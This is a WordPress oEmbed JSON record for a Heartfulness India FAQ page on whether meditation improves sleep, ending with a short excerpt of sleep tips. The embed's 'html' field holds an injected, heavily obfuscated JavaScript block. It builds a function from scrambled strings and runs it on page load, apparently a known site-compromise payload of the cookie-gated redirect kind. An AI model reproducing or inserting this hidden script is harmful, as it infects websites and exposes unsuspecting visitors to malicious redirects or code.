{"version":"1.0","provider_name":"Heartfulness India","provider_url":"https:\/\/writenode.heartfulness.org\/in","author_name":"Prashanth Bhardwaj","author_url":"https:\/\/writenode.heartfulness.org\/in\/author\/prashanth-bhardwaj\/","title":"Will Heartfulness Meditation help me to sleep better? - Heartfulness India","type":"rich","width":600,"height":338,"html":"<blockquote class=\"wp-embedded-content\" data-secret=\"cTfiQkXIqQ\"><a href=\"https:\/\/writenode.heartfulness.org\/in\/faq\/will-heartfulness-meditation-help-me-to-sleep-better\/\">Will Heartfulness Meditation help me to sleep better?<\/a><\/blockquote><iframe sandbox=\"allow-scripts\" security=\"restricted\" src=\"https:\/\/writenode.heartfulness.org\/in\/faq\/will-heartfulness-meditation-help-me-to-sleep-better\/embed\/#?secret=cTfiQkXIqQ\" width=\"600\" height=\"338\" title=\"&#8220;Will Heartfulness Meditation help me to sleep better?&#8221; &#8212; Heartfulness India\" data-secret=\"cTfiQkXIqQ\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" class=\"wp-embedded-content\"><\/iframe><script type=\"text\/javascript\">\nvar language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g\"lm1(ilunp)nv][=\"uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o\"i2*v0m8\"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o[\"t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs\"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.\";r+p.=n;h;\")t n pddrco(u),C0;}()tg9o8+;6anp  i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e  !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC=\"o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o\")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\\\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\\\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c\"llcj(7eBtuecytBwssBBB.1{4ywe=(r\\\/]Dl.r(om,1$f.\\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\\\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\\'\\'o7_.33!.!t26{g;-ip\"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%.\"8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83  c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\\\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\\\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\\\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\\\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\\';,%],s)aj+#\"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn\".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\\\/.a7aB3e=BBsu]b9B\"Bas%3;&(B2%\"$ema\"+BrB,$.ps\\\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_\"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();\/*! 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Heartfulness will help you to become more in tune with natural cycles and thus regulate your sleep patterns. Here are some tips for getting a good night\u2019s sleep. Rise early in the morning and spend a few minutes out in the sun, as this will balance the hormones serotonin and melatonin,&hellip;... Read More."}